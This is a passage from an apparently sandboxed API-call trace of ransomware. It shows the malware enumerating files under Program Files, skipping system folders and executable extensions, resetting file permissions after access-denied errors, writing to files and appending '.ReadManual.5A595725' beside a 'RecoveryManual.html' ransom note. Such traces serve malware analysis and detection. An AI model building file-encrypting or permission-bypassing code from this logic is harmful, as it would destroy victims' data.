dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.664] GetLastError () returned 0x5 [0254.664] GetNamedSecurityInfoW () returned 0x0 [0254.664] SetNamedSecurityInfoW () returned 0x0 [0254.665] SetNamedSecurityInfoW () returned 0x0 [0254.666] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.666] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=19112) returned 1 [0254.666] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4aa8, lpName=0x0) returned 0x1a0 [0254.666] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0254.667] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.667] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.670] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.670] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4aa8) returned 0x2f0000 [0254.670] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.671] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37533929158) returned 1 [0254.671] CloseHandle (hObject=0x1a0) returned 1 [0254.671] SetSecurityInfo () returned 0x5 [0254.671] SetSecurityInfo () returned 0x5 [0254.671] LocalFree (hMem=0x674d38) returned 0x0 [0254.671] CloseHandle (hObject=0x184) returned 1 [0254.671] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0254.671] lstrcpyW (in: lpString1=0x6ab91c, lpString2="whitemask1047.png" | out: lpString1="whitemask1047.png") returned="whitemask1047.png" [0254.671] lstrcmpiW (lpString1="whitemask1047.png", lpString2="RecoveryManual.html") returned 1 [0254.671] StrStrIW (lpFirst="whitemask1047.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.671] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.671] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.671] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.671] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.671] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.671] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.671] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.671] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.671] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.671] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.671] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.671] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.671] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.671] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.671] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" [0254.671] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png.ReadManual.5A595725" [0254.671] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png.ReadManual.5A595725") returned 101 [0254.672] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37534028539) returned 1 [0254.672] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png")) returned 0x20 [0254.672] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.672] GetLastError () returned 0x5 [0254.672] GetNamedSecurityInfoW () returned 0x0 [0254.672] SetNamedSecurityInfoW () returned 0x0 [0254.673] SetNamedSecurityInfoW () returned 0x0 [0254.674] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.674] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=6423) returned 1 [0254.674] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1917, lpName=0x0) returned 0x1a0 [0254.674] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0254.675] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.675] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.677] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.677] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1917) returned 0x2f0000 [0254.677] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.677] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37534576320) returned 1 [0254.677] CloseHandle (hObject=0x1a0) returned 1 [0254.677] SetSecurityInfo () returned 0x5 [0254.677] SetSecurityInfo () returned 0x5 [0254.677] LocalFree (hMem=0x674d38) returned 0x0 [0254.677] CloseHandle (hObject=0x184) returned 1 [0254.677] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0254.677] lstrcpyW (in: lpString1=0x6ab91c, lpString2="whitevignette1047.png" | out: lpString1="whitevignette1047.png") returned="whitevignette1047.png" [0254.677] lstrcmpiW (lpString1="whitevignette1047.png", lpString2="RecoveryManual.html") returned 1 [0254.677] StrStrIW (lpFirst="whitevignette1047.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.677] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.678] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.678] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.678] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.678] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.678] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.678] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.678] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.678] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.678] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.678] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.678] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.678] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.678] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.678] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" [0254.678] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png.ReadManual.5A595725" [0254.678] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png.ReadManual.5A595725") returned 105 [0254.678] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37534672905) returned 1 [0254.678] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png")) returned 0x20 [0254.678] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.678] GetLastError () returned 0x5 [0254.678] GetNamedSecurityInfoW () returned 0x0 [0254.679] SetNamedSecurityInfoW () returned 0x0 [0254.679] SetNamedSecurityInfoW () returned 0x0 [0254.680] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.680] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=169722) returned 1 [0254.680] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x296fa, lpName=0x0) returned 0x1a0 [0254.681] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0254.681] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.681] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.683] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.683] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x296fa) returned 0x1de0000 [0254.687] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0254.688] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37535708770) returned 1 [0254.688] CloseHandle (hObject=0x1a0) returned 1 [0254.688] SetSecurityInfo () returned 0x5 [0254.688] SetSecurityInfo () returned 0x5 [0254.689] LocalFree (hMem=0x674d38) returned 0x0 [0254.689] CloseHandle (hObject=0x184) returned 1 [0254.689] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0 [0254.689] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0254.689] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0254.689] lstrcpyW (in: lpString1=0x69b8fc, lpString2="Sports" | out: lpString1="Sports") returned="Sports" [0254.689] lstrcatW (in: lpString1="Sports", lpString2="\\" | out: lpString1="Sports\\") returned="Sports\\" [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch=":\\Windows\\") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch=":\\WINNT") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch=":\\Windows.old\\") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch=":\\PerfLog\\") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\WindowsApps\\") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0254.689] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0254.690] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0254.690] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\Windows Defender\\") returned 0x0 [0254.690] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\microsoft shared\\") returned 0x0 [0254.690] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0254.690] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0254.690] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0254.690] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0254.690] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0254.690] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\Tor Browser\\") returned 0x0 [0254.690] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0254.690] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\") returned 55 [0254.690] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0254.692] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\" [0254.692] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.692] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0254.692] lstrcpyW (in: lpString1=0x6ab90a, lpString2="CircleSubpicture.png" | out: lpString1="CircleSubpicture.png") returned="CircleSubpicture.png" [0254.692] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.692] StrStrIW (lpFirst="CircleSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.692] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.692] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.692] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.692] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.692] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.692] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.692] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.692] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.692] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.692] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.692] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.692] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.692] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.692] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.692] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" [0254.692] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png.ReadManual.5A595725" [0254.692] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png.ReadManual.5A595725") returned 95 [0254.692] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37536125706) returned 1 [0254.693] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png")) returned 0x20 [0254.693] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.693] GetLastError () returned 0x5 [0254.693] GetNamedSecurityInfoW () returned 0x0 [0254.693] SetNamedSecurityInfoW () returned 0x0 [0254.694] SetNamedSecurityInfoW () returned 0x0 [0254.695] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\CircleSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\circlesubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.695] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2910) returned 1 [0254.695] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb5e, lpName=0x0) returned 0x1a0 [0254.695] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0254.696] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.696] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.698] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.698] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb5e) returned 0x2f0000 [0254.698] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.698] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37536686693) returned 1 [0254.698] CloseHandle (hObject=0x1a0) returned 1 [0254.698] SetSecurityInfo () returned 0x5 [0254.698] SetSecurityInfo () returned 0x5 [0254.698] LocalFree (hMem=0x674d38) returned 0x0 [0254.698] CloseHandle (hObject=0x184) returned 1 [0254.698] lstrcpyW (in: 